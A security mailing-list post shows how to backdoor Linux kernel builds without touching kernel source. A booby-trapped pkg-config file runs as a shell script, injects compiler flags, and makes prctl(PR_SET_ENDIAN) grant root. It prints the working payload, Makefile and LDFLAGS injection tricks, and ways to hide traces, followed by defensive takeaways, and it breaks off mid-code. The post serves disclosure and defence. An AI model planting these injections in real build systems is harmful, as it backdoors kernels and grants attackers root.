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Date: Wed, 17 Apr 2024 02:07:43 +0200
From: Vegard Nossum
To: oss-security@…ts.openwall.com
Subject: Make your own backdoor: CFLAGS code injection, Makefile injection,
pkg-config
Hi all,
Given the recent xz/sshd backdoor, I wanted to try to think more like
an attacker and build my own backdoor.
To start off, I’ve chosen the Linux kernel as the target for the attack,
and I want to do it without changing either the kernel source code or
any release tarballs.
In other words, the backdoor would have to rely on compromising some
_other_ package that gets installed on a distro build server that is used
for building the kernel for that particular distro.
For my particular backdoor it doesn’t really matter which exact package
is compromised; all that is required is the existence of a file
/usr/lib64/pkgconfig/libelf-uninstalled.pc with mode 755 and containing
something along the lines of:
prefix=/usr
exec_prefix=/usr
libdir=/usr/lib64
includedir=/usr/include
f=$objtree/include/config/auto.conf
sig=Q0ZMQUdTX3N5cy5vPSctRFNFVF9FTkRJQU4oeCx5KT0tMjIsY29tbWl0X2NyZWRzKCh2b2lkKilpbml0X3Rhc2suY3JlZCknCg==
grep -q sys.o $f || sed -i “/ELFCORE/a $(echo $sig | base64 -d)” $f; exit
Name: libelf
Description: elfutils libelf library to read and write ELF files
Version: 0.189
URL: http://elfutils.org/
Libs: -L${libdir} -lelf
Cflags: -I${includedir}
-DLIBELF=’$(/usr/lib64/pkgconfig/libelf-uninstalled.pc)’
Requires.private: zlib libzstd
(This is based on an existing file for libelf, typically located at either
/usr/lib64/pkgconfig/libelf.pc or
/usr/lib/x86_64-linux-gnu/pkgconfig/libelf.pc.)
Now, you could argue that this is easy to spot — why would a pkg-config
file contain base64 data, why would an unrelated package contain something
that looks like it belongs to libelf, etc. I would argue that the above
looks suspicious but not necessarily like a kernel backdoor and could
potentially pass for a legitimate file; moreover, that a malicious
maintainer could introduce it into a less well-reviewed distro package
that happens to be installed by default.
In any case, let’s see how it works:
When you call ‘pkg-config –cflags libelf’ (like the kernel build system
does), this will output:
-DLIBELF=’$(/usr/lib64/pkgconfig/libelf-uninstalled.pc)’
This string will get used by ‘make’ and passed along to the shell, which
runs /usr/lib64/pkgconfig/libelf-uninstalled.pc as a shell script.
When the file is run as a shell script, it starts at the top and sets
prefix, exec_prefix, etc. as local variables. It also sets f, sig, and
then runs:
grep -q sys.o $f || sed -i “/ELFCORE/a $(echo $sig | base64 -d)” $f; exit
(The ‘exit’ here is to stop the shell from emitting error messages from
the subsequent lines.)
This code checks whether ‘sys.o’ is in $objtree/include/config/auto.conf,
which is a file used by the kernel during the build ($objtree is defined
by the kernel build system) — if not, it runs:
sed -i “/ELFCORE/a $(echo $sig | base64 -d)” $f
This just looks for any line containing the string “ELFCORE” (again in
auto.conf) and appends another line at that point in the file. If we
decode the base64 string, we see that it adds the line:
CFLAGS_sys.o=’-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)’
I should mention that libelf is used to build ‘objtool’, a program that
itself runs during the kernel build. It is typically built early in the
build, which gives us a chance to hook into the build system before any
real kernel code is compiled.
Anyway, after the script is run, include/config/auto.conf will contain
something like:
…
CONFIG_ACPI_PROCESSOR=y
CONFIG_ELFCORE=y
CFLAGS_sys.o=’-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)’
CONFIG_HIBERNATION_SNAPSHOT_DEV=y
CONFIG_HAVE_KVM=y
CONFIG_PCCARD=y
…
(I chose CONFIG_ELFCORE=as the insertion point because 1) it’s in the
middle of the file so it’s unlikely to be easily spotted at the top or
bottom, and 2) it has that semi-plausible connection to libelf).
This file, include/config/auto.conf, is read by GNU Make and the kernel
build system. Even more, it’s _evaluated_ by the build system, meaning
that it is actually a Makefile that can contain arbitrary Make code. In
this case, the additional line sets the variable CFLAGS_sys.o, which
contains extra CFLAGS passed to the compiler for any object files named
sys.o, such as kernel/sys.o, at build time.
The flag passed to the compiler is:
-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)
(Thanks to Michael Ellerman for the suggestion to use commit_creds().)
This has the effect of defining the macro SET_ENDIAN(), and for
kernel/sys.c (when compiled on x86, at least) would have been defined in
the same file with:
#ifndef SET_ENDIAN
# define SET_ENDIAN(a, b) (-EINVAL)
#endif
It gets used like this:
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned
long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
…
switch (option) {
…
case PR_SET_ENDIAN:
error=SET_ENDIAN(me, arg2);
break;
…
return error;
}
Now we see that whenever you call prctl(PR_SET_ENDIAN) from userspace,
the code will expand to:
case PR_SET_ENDIAN:
error=-22,commit_creds((void*)init_task.cred);
break;
…which of course means that it still returns -EINVAL, but it additionally
also makes the calling process root.
No .c or .h source code was touched and there won’t be many traces of the
code during or after the build, except:
– kernel/.sys.o.cmd
– include/config/auto.conf
– perhaps the console/build log if the kernel is built with V=1
However, these files are considered internal to the build system and
normally won’t appear in RPMs, manifests, debug info, or anything like
that. There is no foreign object file, no missing symbols, and no missing
debug info.
(I should add that we could potentially also attempt to clean these files
up by inserting additional Makefile code into CFLAGS_sys.o. I’ll leave it
as an exercise to the reader…)
Moreover, kernel/sys.o already contains many calls to commit_creds(), and
so it won’t look particularly suspicious or out of place even when looking
at the object code/disassembly.
I did an end-to-end test on one (unnamed) distro and the backdoor works.
I originally attempted to use a file in /etc/bash_completion.d/ or
/etc/environment.d/ to set the ‘sub_make_done’ environment variable to:
$(eval export CFLAGS_sys.o :=
“-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)”)
(which would get evaluated by Make); however, these are not read by
non-interactive shells and so likely wouldn’t affect a distro’s build
process — nevertheless, it demonstrates another pitfall: the fact that
Make allows you to override arbitrary build-internal variables with
environment variables and that those strings are evaluated as Makefile
fragments and can contain essentially arbitrary code (see
as well for a bit more on this).
To sum it up, here are some of my takeaways (no doubt known by many
others already):
– Beware of search paths. pkg-config searches a few different directories
and it may be possible to quietly drop something in that will inject
itself into the build process.
Of course, search paths already have a bit of a reputation and the
other famous ones are PATH and LD_LIBRARY_PATH which are also viable
vectors in this case, assuming you can either influence the list itself
or place a malicious file within one of the earlier components.
I would also consider locales a potential vector — on my system,
running ‘make’ searches /usr/share/locale/ as well as
/usr/share/locale-langpack/ and one could imagine a malicious
translation file containing printf formats with %n, for example, to
induce memory errors. (I’m not familiar with the file format, but
depending on how well the parsers have been tested/fuzzed, it might
be possible to do something with intentionally corrupted translation
files as well.)
– Beware of polyglot files. In this case, a pkg-config metadata file
doubled as a shell script. In the xz backdoor, binary test data also
contained shell scripts and object files.
I unfortunately lost the source, but I read somewhere that valid PNG
files can have arbitrary data appended at the end, which seems to be
true in a cursory test. There will undoubtedly be other unexpected
combinations of files that can be used to hide payloads.
– Speaking of hiding payloads, one could imagine using ANSI escape
sequences (e.g. save + restore cursor location) to hide some parts
of files from being output into a terminal (e.g. cat) — however, this
is unlikely to be effective for files that are frequently modified
with text editors (i.e. source files). For intermediate/generated
files or typical console output it might not hurt the attacker to try
this to avoid detection.
– Beware of environment variables. Shellshock-style “bash function”
overrides of commands, Makefile injections, search paths, build
flags: these and more can all be used to subtly influence other
programs down the line and often don’t really leave a trace in either
source code, object code, or build logs.
Apart from CFLAGS, we can also use LDFLAGS to inject a fragment of
Makefile code that checks whether $@ is a particular target, and if
so, includes an additional object file:
$ LDFLAGS=’$(if $(filter target,$@),malicious.o,)’ make target
cc malicious.o target.c -o target
– Eval… since it often means running code that doesn’t exist anywhere
as a file (and is thus difficult to capture in SBOM-type solutions).
Shells and Make both have eval.
– File descriptors can be useful for passing data around without leaving
a filesystem footprint. We could imagine a malicious shared object
opening a file and later manipulating some command down the line into
using the file descriptor as an input:
fd=memfd_create(…);
write(fd, …);
dup2(fd, 9);
close(fd);
…
setenv(“CFLAGS”, “$(eval $(shell cat
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